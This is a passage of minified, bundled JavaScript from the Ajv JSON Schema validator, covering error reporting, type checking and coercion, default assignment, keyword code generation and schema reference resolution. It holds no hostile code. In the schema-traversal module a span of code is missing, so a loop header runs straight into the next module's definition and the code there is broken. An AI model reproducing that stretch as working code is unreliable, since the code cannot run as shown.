e.Name?I:(0,e._)`(${I})`}}),Je=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.checkStrictMode=t.getErrorPath=t.Type=t.useFunc=t.setEvaluated=t.evaluatedPropsToName=t.mergeEvaluated=t.eachItem=t.unescapeJsonPointer=t.escapeJsonPointer=t.escapeFragment=t.unescapeFragment=t.schemaRefOrVal=t.schemaHasRulesButRef=t.schemaHasRules=t.checkUnknownRules=t.alwaysValidSchema=t.toHash=void 0;var e=Fe(),r=Wu();function n(x){let E={};for(let T of x)E[T]=!0;return E}t.toHash=n;function a(x,E){return typeof E=="boolean"?E:Object.keys(E).length===0?!0:(s(x,E),!i(E,x.self.RULES.all))}t.alwaysValidSchema=a;function s(x,E=x.schema){let{opts:T,self:$}=x;if(!T.strictSchema||typeof E=="boolean")return;let N=$.RULES.keywords;for(let j in E)N[j]||S(x,`unknown keyword: "${j}"`)}t.checkUnknownRules=s;function i(x,E){if(typeof x=="boolean")return!x;for(let T in x)if(E[T])return!0;return!1}t.schemaHasRules=i;function o(x,E){if(typeof x=="boolean")return!x;for(let T in x)if(T!=="$ref"&&E.all[T])return!0;return!1}t.schemaHasRulesButRef=o;function c({topSchemaRef:x,schemaPath:E},T,$,N){if(!N){if(typeof T=="number"||typeof T=="boolean")return T;if(typeof T=="string")return(0,e._)`${T}`}return(0,e._)`${x}${E}${(0,e.getProperty)($)}`}t.schemaRefOrVal=c;function u(x){return f(decodeURIComponent(x))}t.unescapeFragment=u;function l(x){return encodeURIComponent(d(x))}t.escapeFragment=l;function d(x){return typeof x=="number"?`${x}`:x.replace(/~/g,"~0").replace(/\//g,"~1")}t.escapeJsonPointer=d;function f(x){return x.replace(/~1/g,"/").replace(/~0/g,"~")}t.unescapeJsonPointer=f;function m(x,E){if(Array.isArray(x))for(let T of x)E(T);else E(x)}t.eachItem=m;function g({mergeNames:x,mergeToName:E,mergeValues:T,resultToName:$}){return(N,j,q,H)=>{let A=q===void 0?j:q instanceof e.Name?(j instanceof e.Name?x(N,j,q):E(N,j,q),q):j instanceof e.Name?(E(N,q,j),j):T(j,q);return H===e.Name&&!(A instanceof e.Name)?$(N,A):A}}t.mergeEvaluated={props:g({mergeNames:(x,E,T)=>x.if((0,e._)`${T} !== true && ${E} !== undefined`,()=>{x.if((0,e._)`${E} === true`,()=>x.assign(T,!0),()=>x.assign(T,(0,e._)`${T} || {}`).code((0,e._)`Object.assign(${T}, ${E})`))}),mergeToName:(x,E,T)=>x.if((0,e._)`${T} !== true`,()=>{E===!0?x.assign(T,!0):(x.assign(T,(0,e._)`${T} || {}`),p(x,T,E))}),mergeValues:(x,E)=>x===!0?!0:{...x,...E},resultToName:b}),items:g({mergeNames:(x,E,T)=>x.if((0,e._)`${T} !== true && ${E} !== undefined`,()=>x.assign(T,(0,e._)`${E} === true ? true : ${T} > ${E} ? ${T} : ${E}`)),mergeToName:(x,E,T)=>x.if((0,e._)`${T} !== true`,()=>x.assign(T,E===!0?!0:(0,e._)`${T} > ${E} ? ${T} : ${E}`)),mergeValues:(x,E)=>x===!0?!0:Math.max(x,E),resultToName:(x,E)=>x.var("items",E)})};function b(x,E){if(E===!0)return x.var("props",!0);let T=x.var("props",(0,e._)`{}`);return E!==void 0&&p(x,T,E),T}t.evaluatedPropsToName=b;function p(x,E,T){Object.keys(T).forEach($=>x.assign((0,e._)`${E}${(0,e.getProperty)($)}`,!0))}t.setEvaluated=p;var h={};function y(x,E){return x.scopeValue("func",{ref:E,code:h[E.code]||(h[E.code]=new r._Code(E.code))})}t.useFunc=y;var v;(function(x){x[x.Num=0]="Num",x[x.Str=1]="Str"})(v||(t.Type=v={}));function _(x,E,T){if(x instanceof e.Name){let $=E===v.Num;return T?$?(0,e._)`"[" + ${x} + "]"`:(0,e._)`"['" + ${x} + "']"`:$?(0,e._)`"/" + ${x}`:(0,e._)`"/" + ${x}.replace(/~/g, "~0").replace(/\\//g, "~1")`}return T?(0,e.getProperty)(x).toString():"/"+d(x)}t.getErrorPath=_;function S(x,E,T=x.opts.strictSchema){if(T){if(E=`strict mode: ${E}`,T===!0)throw new Error(E);x.self.logger.warn(E)}}t.checkStrictMode=S}),Za=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=Fe(),r={data:new e.Name("data"),valCxt:new e.Name("valCxt"),instancePath:new e.Name("instancePath"),parentData:new e.Name("parentData"),parentDataProperty:new e.Name("parentDataProperty"),rootData:new e.Name("rootData"),dynamicAnchors:new e.Name("dynamicAnchors"),vErrors:new e.Name("vErrors"),errors:new e.Name("errors"),this:new e.Name("this"),self:new e.Name("self"),scope:new e.Name("scope"),json:new e.Name("json"),jsonPos:new e.Name("jsonPos"),jsonLen:new e.Name("jsonLen"),jsonPart:new e.Name("jsonPart")};t.default=r}),ol=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.extendErrors=t.resetErrorsCount=t.reportExtraError=t.reportError=t.keyword$DataError=t.keywordError=void 0;var e=Fe(),r=Je(),n=Za();t.keywordError={message:({keyword:p})=>(0,e.str)`must pass "${p}" keyword validation`},t.keyword$DataError={message:({keyword:p,schemaType:h})=>h?(0,e.str)`"${p}" keyword must be ${h} ($data)`:(0,e.str)`"${p}" keyword is invalid ($data)`};function a(p,h=t.keywordError,y,v){let{it:_}=p,{gen:S,compositeRule:x,allErrors:E}=_,T=d(p,h,y);v??(x||E)?c(S,T):u(_,(0,e._)`[${T}]`)}t.reportError=a;function s(p,h=t.keywordError,y){let{it:v}=p,{gen:_,compositeRule:S,allErrors:x}=v,E=d(p,h,y);c(_,E),S||x||u(v,n.default.vErrors)}t.reportExtraError=s;function i(p,h){p.assign(n.default.errors,h),p.if((0,e._)`${n.default.vErrors} !== null`,()=>p.if(h,()=>p.assign((0,e._)`${n.default.vErrors}.length`,h),()=>p.assign(n.default.vErrors,null)))}t.resetErrorsCount=i;function o({gen:p,keyword:h,schemaValue:y,data:v,errsCount:_,it:S}){if(_===void 0)throw new Error("ajv implementation error");let x=p.name("err");p.forRange("i",_,n.default.errors,E=>{p.const(x,(0,e._)`${n.default.vErrors}[${E}]`),p.if((0,e._)`${x}.instancePath === undefined`,()=>p.assign((0,e._)`${x}.instancePath`,(0,e.strConcat)(n.default.instancePath,S.errorPath))),p.assign((0,e._)`${x}.schemaPath`,(0,e.str)`${S.errSchemaPath}/${h}`),S.opts.verbose&&(p.assign((0,e._)`${x}.schema`,y),p.assign((0,e._)`${x}.data`,v))})}t.extendErrors=o;function c(p,h){let y=p.const("err",h);p.if((0,e._)`${n.default.vErrors} === null`,()=>p.assign(n.default.vErrors,(0,e._)`[${y}]`),(0,e._)`${n.default.vErrors}.push(${y})`),p.code((0,e._)`${n.default.errors}++`)}function u(p,h){let{gen:y,validateName:v,schemaEnv:_}=p;_.$async?y.throw((0,e._)`new ${p.ValidationError}(${h})`):(y.assign((0,e._)`${v}.errors`,h),y.return(!1))}var l={keyword:new e.Name("keyword"),schemaPath:new e.Name("schemaPath"),params:new e.Name("params"),propertyName:new e.Name("propertyName"),message:new e.Name("message"),schema:new e.Name("schema"),parentSchema:new e.Name("parentSchema")};function d(p,h,y){let{createErrors:v}=p.it;return v===!1?(0,e._)`{}`:f(p,h,y)}function f(p,h,y={}){let{gen:v,it:_}=p,S=[m(_,y),g(p,y)];return b(p,h,S),v.object(...S)}function m({errorPath:p},{instancePath:h}){let y=h?(0,e.str)`${p}${(0,r.getErrorPath)(h,r.Type.Str)}`:p;return[n.default.instancePath,(0,e.strConcat)(n.default.instancePath,y)]}function g({keyword:p,it:{errSchemaPath:h}},{schemaPath:y,parentSchema:v}){let _=v?h:(0,e.str)`${h}/${p}`;return y&&(_=(0,e.str)`${_}${(0,r.getErrorPath)(y,r.Type.Str)}`),[l.schemaPath,_]}function b(p,{params:h,message:y},v){let{keyword:_,data:S,schemaValue:x,it:E}=p,{opts:T,propertyName:$,topSchemaRef:N,schemaPath:j}=E;v.push([l.keyword,_],[l.params,typeof h=="function"?h(p):h||(0,e._)`{}`]),T.messages&&v.push([l.message,typeof y=="function"?y(p):y]),T.verbose&&v.push([l.schema,x],[l.parentSchema,(0,e._)`${N}${j}`],[n.default.data,S]),$&&v.push([l.propertyName,$])}}),lL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.boolOrEmptySchema=t.topBoolOrEmptySchema=void 0;var e=ol(),r=Fe(),n=Za(),a={message:"boolean schema is false"};function s(c){let{gen:u,schema:l,validateName:d}=c;l===!1?o(c,!1):typeof l=="object"&&l.$async===!0?u.return(n.default.data):(u.assign((0,r._)`${d}.errors`,null),u.return(!0))}t.topBoolOrEmptySchema=s;function i(c,u){let{gen:l,schema:d}=c;d===!1?(l.var(u,!1),o(c)):l.var(u,!0)}t.boolOrEmptySchema=i;function o(c,u){let{gen:l,data:d}=c,f={gen:l,keyword:"false schema",data:d,schema:!1,schemaCode:!1,schemaValue:!1,params:{},it:c};(0,e.reportError)(f,a,void 0,u)}}),Y1=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.getRules=t.isJSONType=void 0;var e=["string","number","integer","boolean","null","object","array"],r=new Set(e);function n(s){return typeof s=="string"&&r.has(s)}t.isJSONType=n;function a(){let s={number:{type:"number",rules:[]},string:{type:"string",rules:[]},array:{type:"array",rules:[]},object:{type:"object",rules:[]}};return{types:{...s,integer:!0,boolean:!0,null:!0},rules:[{rules:[]},s.number,s.string,s.array,s.object],post:{rules:[]},all:{},keywords:{}}}t.getRules=a}),Q1=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.shouldUseRule=t.shouldUseGroup=t.schemaHasRulesForType=void 0;function e({schema:a,self:s},i){let o=s.RULES.types[i];return o&&o!==!0&&r(a,o)}t.schemaHasRulesForType=e;function r(a,s){return s.rules.some(i=>n(a,i))}t.shouldUseGroup=r;function n(a,s){var i;return a[s.keyword]!==void 0||((i=s.definition.implements)===null||i===void 0?void 0:i.some(o=>a[o]!==void 0))}t.shouldUseRule=n}),Ku=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.reportTypeError=t.checkDataTypes=t.checkDataType=t.coerceAndCheckDataType=t.getJSONTypes=t.getSchemaTypes=t.DataType=void 0;var e=Y1(),r=Q1(),n=ol(),a=Fe(),s=Je(),i;(function(v){v[v.Correct=0]="Correct",v[v.Wrong=1]="Wrong"})(i||(t.DataType=i={}));function o(v){let _=c(v.type);if(_.includes("null")){if(v.nullable===!1)throw new Error("type: null contradicts nullable: false")}else{if(!_.length&&v.nullable!==void 0)throw new Error('"nullable" cannot be used without "type"');v.nullable===!0&&_.push("null")}return _}t.getSchemaTypes=o;function c(v){let _=Array.isArray(v)?v:v?[v]:[];if(_.every(e.isJSONType))return _;throw new Error("type must be JSONType or JSONType[]: "+_.join(","))}t.getJSONTypes=c;function u(v,_){let{gen:S,data:x,opts:E}=v,T=d(_,E.coerceTypes),$=_.length>0&&!(T.length===0&&_.length===1&&(0,r.schemaHasRulesForType)(v,_[0]));if($){let N=b(_,x,E.strictNumbers,i.Wrong);S.if(N,()=>{T.length?f(v,_,T):h(v)})}return $}t.coerceAndCheckDataType=u;var l=new Set(["string","number","integer","boolean","null"]);function d(v,_){return _?v.filter(S=>l.has(S)||_==="array"&&S==="array"):[]}function f(v,_,S){let{gen:x,data:E,opts:T}=v,$=x.let("dataType",(0,a._)`typeof ${E}`),N=x.let("coerced",(0,a._)`undefined`);T.coerceTypes==="array"&&x.if((0,a._)`${$} == 'object' && Array.isArray(${E}) && ${E}.length == 1`,()=>x.assign(E,(0,a._)`${E}[0]`).assign($,(0,a._)`typeof ${E}`).if(b(_,E,T.strictNumbers),()=>x.assign(N,E))),x.if((0,a._)`${N} !== undefined`);for(let q of S)(l.has(q)||q==="array"&&T.coerceTypes==="array")&&j(q);x.else(),h(v),x.endIf(),x.if((0,a._)`${N} !== undefined`,()=>{x.assign(E,N),m(v,N)});function j(q){switch(q){case"string":x.elseIf((0,a._)`${$} == "number" || ${$} == "boolean"`).assign(N,(0,a._)`"" + ${E}`).elseIf((0,a._)`${E} === null`).assign(N,(0,a._)`""`);return;case"number":x.elseIf((0,a._)`${$} == "boolean" || ${E} === null + || (${$} == "string" && ${E} && ${E} == +${E})`).assign(N,(0,a._)`+${E}`);return;case"integer":x.elseIf((0,a._)`${$} === "boolean" || ${E} === null + || (${$} === "string" && ${E} && ${E} == +${E} && !(${E} % 1))`).assign(N,(0,a._)`+${E}`);return;case"boolean":x.elseIf((0,a._)`${E} === "false" || ${E} === 0 || ${E} === null`).assign(N,!1).elseIf((0,a._)`${E} === "true" || ${E} === 1`).assign(N,!0);return;case"null":x.elseIf((0,a._)`${E} === "" || ${E} === 0 || ${E} === false`),x.assign(N,null);return;case"array":x.elseIf((0,a._)`${$} === "string" || ${$} === "number" + || ${$} === "boolean" || ${E} === null`).assign(N,(0,a._)`[${E}]`)}}}function m({gen:v,parentData:_,parentDataProperty:S},x){v.if((0,a._)`${_} !== undefined`,()=>v.assign((0,a._)`${_}[${S}]`,x))}function g(v,_,S,x=i.Correct){let E=x===i.Correct?a.operators.EQ:a.operators.NEQ,T;switch(v){case"null":return(0,a._)`${_} ${E} null`;case"array":T=(0,a._)`Array.isArray(${_})`;break;case"object":T=(0,a._)`${_} && typeof ${_} == "object" && !Array.isArray(${_})`;break;case"integer":T=$((0,a._)`!(${_} % 1) && !isNaN(${_})`);break;case"number":T=$();break;default:return(0,a._)`typeof ${_} ${E} ${v}`}return x===i.Correct?T:(0,a.not)(T);function $(N=a.nil){return(0,a.and)((0,a._)`typeof ${_} == "number"`,N,S?(0,a._)`isFinite(${_})`:a.nil)}}t.checkDataType=g;function b(v,_,S,x){if(v.length===1)return g(v[0],_,S,x);let E,T=(0,s.toHash)(v);if(T.array&&T.object){let $=(0,a._)`typeof ${_} != "object"`;E=T.null?$:(0,a._)`!${_} || ${$}`,delete T.null,delete T.array,delete T.object}else E=a.nil;T.number&&delete T.integer;for(let $ in T)E=(0,a.and)(E,g($,_,S,x));return E}t.checkDataTypes=b;var p={message:({schema:v})=>`must be ${v}`,params:({schema:v,schemaValue:_})=>typeof v=="string"?(0,a._)`{type: ${v}}`:(0,a._)`{type: ${_}}`};function h(v){let _=y(v);(0,n.reportError)(_,p)}t.reportTypeError=h;function y(v){let{gen:_,data:S,schema:x}=v,E=(0,s.schemaRefOrVal)(v,x,"type");return{gen:_,keyword:"type",data:S,schema:x.type,schemaCode:E,schemaValue:E,parentSchema:x,params:{},it:v}}}),dL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.assignDefaults=void 0;var e=Fe(),r=Je();function n(s,i){let{properties:o,items:c}=s.schema;if(i==="object"&&o)for(let u in o)a(s,u,o[u].default);else i==="array"&&Array.isArray(c)&&c.forEach((u,l)=>a(s,l,u.default))}t.assignDefaults=n;function a(s,i,o){let{gen:c,compositeRule:u,data:l,opts:d}=s;if(o===void 0)return;let f=(0,e._)`${l}${(0,e.getProperty)(i)}`;if(u){(0,r.checkStrictMode)(s,`default is ignored for: ${f}`);return}let m=(0,e._)`${f} === undefined`;d.useDefaults==="empty"&&(m=(0,e._)`${m} || ${f} === null || ${f} === ""`),c.if(m,(0,e._)`${f} = ${(0,e.stringify)(o)}`)}}),Ur=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateUnion=t.validateArray=t.usePattern=t.callValidateCode=t.schemaProperties=t.allSchemaProperties=t.noPropertyInData=t.propertyInData=t.isOwnProperty=t.hasPropFunc=t.reportMissingProp=t.checkMissingProp=t.checkReportMissingProp=void 0;var e=Fe(),r=Je(),n=Za(),a=Je();function s(v,_){let{gen:S,data:x,it:E}=v;S.if(d(S,x,_,E.opts.ownProperties),()=>{v.setParams({missingProperty:(0,e._)`${_}`},!0),v.error()})}t.checkReportMissingProp=s;function i({gen:v,data:_,it:{opts:S}},x,E){return(0,e.or)(...x.map(T=>(0,e.and)(d(v,_,T,S.ownProperties),(0,e._)`${E} = ${T}`)))}t.checkMissingProp=i;function o(v,_){v.setParams({missingProperty:_},!0),v.error()}t.reportMissingProp=o;function c(v){return v.scopeValue("func",{ref:Object.prototype.hasOwnProperty,code:(0,e._)`Object.prototype.hasOwnProperty`})}t.hasPropFunc=c;function u(v,_,S){return(0,e._)`${c(v)}.call(${_}, ${S})`}t.isOwnProperty=u;function l(v,_,S,x){let E=(0,e._)`${_}${(0,e.getProperty)(S)} !== undefined`;return x?(0,e._)`${E} && ${u(v,_,S)}`:E}t.propertyInData=l;function d(v,_,S,x){let E=(0,e._)`${_}${(0,e.getProperty)(S)} === undefined`;return x?(0,e.or)(E,(0,e.not)(u(v,_,S))):E}t.noPropertyInData=d;function f(v){return v?Object.keys(v).filter(_=>_!=="__proto__"):[]}t.allSchemaProperties=f;function m(v,_){return f(_).filter(S=>!(0,r.alwaysValidSchema)(v,_[S]))}t.schemaProperties=m;function g({schemaCode:v,data:_,it:{gen:S,topSchemaRef:x,schemaPath:E,errorPath:T},it:$},N,j,q){let H=q?(0,e._)`${v}, ${_}, ${x}${E}`:_,A=[[n.default.instancePath,(0,e.strConcat)(n.default.instancePath,T)],[n.default.parentData,$.parentData],[n.default.parentDataProperty,$.parentDataProperty],[n.default.rootData,n.default.rootData]];$.opts.dynamicRef&&A.push([n.default.dynamicAnchors,n.default.dynamicAnchors]);let W=(0,e._)`${H}, ${S.object(...A)}`;return j!==e.nil?(0,e._)`${N}.call(${j}, ${W})`:(0,e._)`${N}(${W})`}t.callValidateCode=g;var b=(0,e._)`new RegExp`;function p({gen:v,it:{opts:_}},S){let x=_.unicodeRegExp?"u":"",{regExp:E}=_.code,T=E(S,x);return v.scopeValue("pattern",{key:T.toString(),ref:T,code:(0,e._)`${E.code==="new RegExp"?b:(0,a.useFunc)(v,E)}(${S}, ${x})`})}t.usePattern=p;function h(v){let{gen:_,data:S,keyword:x,it:E}=v,T=_.name("valid");if(E.allErrors){let N=_.let("valid",!0);return $(()=>_.assign(N,!1)),N}return _.var(T,!0),$(()=>_.break()),T;function $(N){let j=_.const("len",(0,e._)`${S}.length`);_.forRange("i",0,j,q=>{v.subschema({keyword:x,dataProp:q,dataPropType:r.Type.Num},T),_.if((0,e.not)(T),N)})}}t.validateArray=h;function y(v){let{gen:_,schema:S,keyword:x,it:E}=v;if(!Array.isArray(S))throw new Error("ajv implementation error");if(S.some(j=>(0,r.alwaysValidSchema)(E,j))&&!E.opts.unevaluated)return;let $=_.let("valid",!1),N=_.name("_valid");_.block(()=>S.forEach((j,q)=>{let H=v.subschema({keyword:x,schemaProp:q,compositeRule:!0},N);_.assign($,(0,e._)`${$} || ${N}`),v.mergeValidEvaluated(H,N)||_.if((0,e.not)($))})),v.result($,()=>v.reset(),()=>v.error(!0))}t.validateUnion=y}),pL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateKeywordUsage=t.validSchemaType=t.funcKeywordCode=t.macroKeywordCode=void 0;var e=Fe(),r=Za(),n=Ur(),a=ol();function s(m,g){let{gen:b,keyword:p,schema:h,parentSchema:y,it:v}=m,_=g.macro.call(v.self,h,y,v),S=l(b,p,_);v.opts.validateSchema!==!1&&v.self.validateSchema(_,!0);let x=b.name("valid");m.subschema({schema:_,schemaPath:e.nil,errSchemaPath:`${v.errSchemaPath}/${p}`,topSchemaRef:S,compositeRule:!0},x),m.pass(x,()=>m.error(!0))}t.macroKeywordCode=s;function i(m,g){var b;let{gen:p,keyword:h,schema:y,parentSchema:v,$data:_,it:S}=m;u(S,g);let x=!_&&g.compile?g.compile.call(S.self,y,v,S):g.validate,E=l(p,h,x),T=p.let("valid");m.block$data(T,$),m.ok((b=g.valid)!==null&&b!==void 0?b:T);function $(){if(g.errors===!1)q(),g.modifying&&o(m),H(()=>m.error());else{let A=g.async?N():j();g.modifying&&o(m),H(()=>c(m,A))}}function N(){let A=p.let("ruleErrs",null);return p.try(()=>q((0,e._)`await `),W=>p.assign(T,!1).if((0,e._)`${W} instanceof ${S.ValidationError}`,()=>p.assign(A,(0,e._)`${W}.errors`),()=>p.throw(W))),A}function j(){let A=(0,e._)`${E}.errors`;return p.assign(A,null),q(e.nil),A}function q(A=g.async?(0,e._)`await `:e.nil){let W=S.opts.passContext?r.default.this:r.default.self,oe=!("compile"in g&&!_||g.schema===!1);p.assign(T,(0,e._)`${A}${(0,n.callValidateCode)(m,E,W,oe)}`,g.modifying)}function H(A){var W;p.if((0,e.not)((W=g.valid)!==null&&W!==void 0?W:T),A)}}t.funcKeywordCode=i;function o(m){let{gen:g,data:b,it:p}=m;g.if(p.parentData,()=>g.assign(b,(0,e._)`${p.parentData}[${p.parentDataProperty}]`))}function c(m,g){let{gen:b}=m;b.if((0,e._)`Array.isArray(${g})`,()=>{b.assign(r.default.vErrors,(0,e._)`${r.default.vErrors} === null ? ${g} : ${r.default.vErrors}.concat(${g})`).assign(r.default.errors,(0,e._)`${r.default.vErrors}.length`),(0,a.extendErrors)(m)},()=>m.error())}function u({schemaEnv:m},g){if(g.async&&!m.$async)throw new Error("async keyword in sync schema")}function l(m,g,b){if(b===void 0)throw new Error(`keyword "${g}" failed to compile`);return m.scopeValue("keyword",typeof b=="function"?{ref:b}:{ref:b,code:(0,e.stringify)(b)})}function d(m,g,b=!1){return!g.length||g.some(p=>p==="array"?Array.isArray(m):p==="object"?m&&typeof m=="object"&&!Array.isArray(m):typeof m==p||b&&typeof m>"u")}t.validSchemaType=d;function f({schema:m,opts:g,self:b,errSchemaPath:p},h,y){if(Array.isArray(h.keyword)?!h.keyword.includes(y):h.keyword!==y)throw new Error("ajv implementation error");let v=h.dependencies;if(v?.some(_=>!Object.prototype.hasOwnProperty.call(m,_)))throw new Error(`parent schema must have dependencies of ${y}: ${v.join(",")}`);if(h.validateSchema&&!h.validateSchema(m[y])){let S=`keyword "${y}" value is invalid at path "${p}": `+b.errorsText(h.validateSchema.errors);if(g.validateSchema==="log")b.logger.error(S);else throw new Error(S)}}t.validateKeywordUsage=f}),fL=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.extendSubschemaMode=t.extendSubschemaData=t.getSubschema=void 0;var e=Fe(),r=Je();function n(i,{keyword:o,schemaProp:c,schema:u,schemaPath:l,errSchemaPath:d,topSchemaRef:f}){if(o!==void 0&&u!==void 0)throw new Error('both "keyword" and "schema" passed, only one allowed');if(o!==void 0){let m=i.schema[o];return c===void 0?{schema:m,schemaPath:(0,e._)`${i.schemaPath}${(0,e.getProperty)(o)}`,errSchemaPath:`${i.errSchemaPath}/${o}`}:{schema:m[c],schemaPath:(0,e._)`${i.schemaPath}${(0,e.getProperty)(o)}${(0,e.getProperty)(c)}`,errSchemaPath:`${i.errSchemaPath}/${o}/${(0,r.escapeFragment)(c)}`}}if(u!==void 0){if(l===void 0||d===void 0||f===void 0)throw new Error('"schemaPath", "errSchemaPath" and "topSchemaRef" are required with "schema"');return{schema:u,schemaPath:l,topSchemaRef:f,errSchemaPath:d}}throw new Error('either "keyword" or "schema" must be passed')}t.getSubschema=n;function a(i,o,{dataProp:c,dataPropType:u,data:l,dataTypes:d,propertyName:f}){if(l!==void 0&&c!==void 0)throw new Error('both "data" and "dataProp" passed, only one allowed');let{gen:m}=o;if(c!==void 0){let{errorPath:b,dataPathArr:p,opts:h}=o,y=m.let("data",(0,e._)`${o.data}${(0,e.getProperty)(c)}`,!0);g(y),i.errorPath=(0,e.str)`${b}${(0,r.getErrorPath)(c,u,h.jsPropertySyntax)}`,i.parentDataProperty=(0,e._)`${c}`,i.dataPathArr=[...p,i.parentDataProperty]}if(l!==void 0){let b=l instanceof e.Name?l:m.let("data",l,!0);g(b),f!==void 0&&(i.propertyName=f)}d&&(i.dataTypes=d);function g(b){i.data=b,i.dataLevel=o.dataLevel+1,i.dataTypes=[],o.definedProperties=new Set,i.parentData=o.data,i.dataNames=[...o.dataNames,b]}}t.extendSubschemaData=a;function s(i,{jtdDiscriminator:o,jtdMetadata:c,compositeRule:u,createErrors:l,allErrors:d}){u!==void 0&&(i.compositeRule=u),l!==void 0&&(i.createErrors=l),d!==void 0&&(i.allErrors=d),i.jtdDiscriminator=o,i.jtdMetadata=c}t.extendSubschemaMode=s}),mL=Q((t,e)=>{var r=e.exports=function(s,i,o){typeof i=="function"&&(o=i,i={}),o=i.cb||o;var c=typeof o=="function"?o:o.pre||function(){},u=o.post||function(){};n(i,c,u,s,"",s)};r.keywords={additionalItems:!0,items:!0,contains:!0,additionalProperties:!0,propertyNames:!0,not:!0,if:!0,then:!0,else:!0},r.arrayKeywords={items:!0,allOf:!0,anyOf:!0,oneOf:!0},r.propsKeywords={$defs:!0,definitions:!0,properties:!0,patternProperties:!0,dependencies:!0},r.skipKeywords={default:!0,enum:!0,const:!0,required:!0,maximum:!0,minimum:!0,exclusiveMaximum:!0,exclusiveMinimum:!0,multipleOf:!0,maxLength:!0,minLength:!0,pattern:!0,format:!0,maxItems:!0,minItems:!0,uniqueItems:!0,maxProperties:!0,minProperties:!0};function n(s,i,o,c,u,l,d,f,m,g){if(c&&typeof c=="object"&&!Array.isArray(c)){i(c,u,l,d,f,m,g);for(var b in c){var p=c[b];if(Array.isArray(p)){if(b in r.arrayKeywords)for(var h=0;h{Object.defineProperty(t,"__esModule",{value:!0}),t.getSchemaRefs=t.resolveUrl=t.normalizeId=t._getFullPath=t.getFullPath=t.inlineRef=void 0;var e=Je(),r=al(),n=mL(),a=new Set(["type","format","pattern","maxLength","minLength","maxProperties","minProperties","maxItems","minItems","maximum","minimum","uniqueItems","multipleOf","required","enum","const"]);function s(p,h=!0){return typeof p=="boolean"?!0:h===!0?!o(p):h?c(p)<=h:!1}t.inlineRef=s;var i=new Set(["$ref","$recursiveRef","$recursiveAnchor","$dynamicRef","$dynamicAnchor"]);function o(p){for(let h in p){if(i.has(h))return!0;let y=p[h];if(Array.isArray(y)&&y.some(o)||typeof y=="object"&&o(y))return!0}return!1}function c(p){let h=0;for(let y in p){if(y==="$ref")return 1/0;if(h++,!a.has(y)&&(typeof p[y]=="object"&&(0,e.eachItem)(p[y],v=>h+=c(v)),h===1/0))return 1/0}return h}function u(p,h="",y){y!==!1&&(h=f(h));let v=p.parse(h);return l(p,v)}t.getFullPath=u;function l(p,h){return p.serialize(h).split("#")[0]+"#"}t._getFullPath=l;var d=/#\/?$/;function f(p){return p?p.replace(d,""):""}t.normalizeId=f;function m(p,h,y){return y=f(y),p.resolve(h,y)}t.resolveUrl=m;var g=/^[a-z_][-a-z0-9._]*$/i;function b(p,h){if(typeof p=="boolean")return{};let{schemaId:y,uriResolver:v}=this.opts,_=f(p[y]||h),S={"":_},x=u(v,_,!1),E={},T=new Set;return n(p,{allKeys:!0},(j,q,H,A)=>{if(A===void 0)return;let W=x+q,oe=S[A];typeof j[y]=="string"&&(oe=he.call(this,j[y])),ne.call(this,j.$anchor),ne.call(this,j.$dynamicAnchor),S[q]=oe;function he(re){let F=this.opts.uriResolver.resolve;if(re=f(oe?F(oe,re):re),T.has(re))throw N(re);T.add(re);let R=this.refs[re];return typeof R=="string"&&(R=this.refs[R]),typeof R=="object"?$(j,R.schema,re):re!==f(W)&&(re[0]==="#"?($(j,E[re],re),E[re]=j):this.refs[re]=W),re}function ne(re){if(typeof re=="string"){if(!g.test(re))throw new Error(`invalid anchor "${re}"`);he.call(this,`#${re}`)}}}),E;function $(j,q,H){if(q!==void 0&&!r(j,q))throw N(H)}function N(j){return new Error(`reference "${j}" resolves to more than one schema`)}}t.getSchemaRefs=b}),ul=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.getData=t.KeywordCxt=t.validateFunctionCode=void 0;var e=lL(),r=Ku(),n=Q1(),a=Ku(),s=dL(),i=pL(),o=fL(),c=Fe(),u=Za(),l=cl(),d=Je(),f=ol();function m(O){if(x(O)&&(T(O),S(O))){h(O);return}g(O,()=>(0,e.topBoolOrEmptySchema)(O))}t.validateFunctionCode=m;function g({gen:O,validateName:C,schema:L,schemaEnv:G,opts:ee},ce){ee.code.es5?O.func(C,(0,c._)`${u.default.data}, ${u.default.valCxt}`,G.$async,()=>{O.code((0,c._)`"use strict"; ${v(L,ee)}`),p(O,ee),O.code(ce)}):O.func(C,(0,c._)`${u.default.data}, ${b(ee)}`,G.$async,()=>O.code(v(L,ee)).code(ce))}function b(O){return(0,c._)`{${u.default.instancePath}="", ${u.default.parentData}, ${u.default.parentDataProperty}, ${u.default.rootData}=${u.default.data}${O.dynamicRef?(0,c._)`, ${u.default.dynamicAnchors}={}`:c.nil}}={}`}function p(O,C){O.if(u.default.valCxt,()=>{O.var(u.default.instancePath,(0,c._)`${u.default.valCxt}.${u.default.instancePath}`),O.var(u.default.parentData,(0,c._)`${u.default.valCxt}.${u.default.parentData}`),O.var(u.default.parentDataProperty,(0,c._)`${u.default.valCxt}.${u.default.parentDataProperty}`),O.var(u.default.rootData,(0,c._)`${u.default.valCxt}.${u.default.rootData}`),C.dynamicRef&&O.var(u.default.dynamicAnchors,(0,c._)`${u.default.valCxt}.${u.default.dynamicAnchors}`)},()=>{O.var(u.default.instancePath,(0,c._)`""`),O.var(u.default.parentData,(0,c._)`undefined`),O.var(u.default.parentDataProperty,(0,c._)`undefined`),O.var(u.default.rootData,u.default.data),C.dynamicRef&&O.var(u.default.dynamicAnchors,(0,c._)`{}`)})}function h(O){let{schema:C,opts:L,gen:G}=O;g(O,()=>{L.$comment&&C.$comment&&A(O),j(O),G.let(u.default.vErrors,null),G.let(u.default.errors,0),L.unevaluated&&y(O),$(O),W(O)})}function 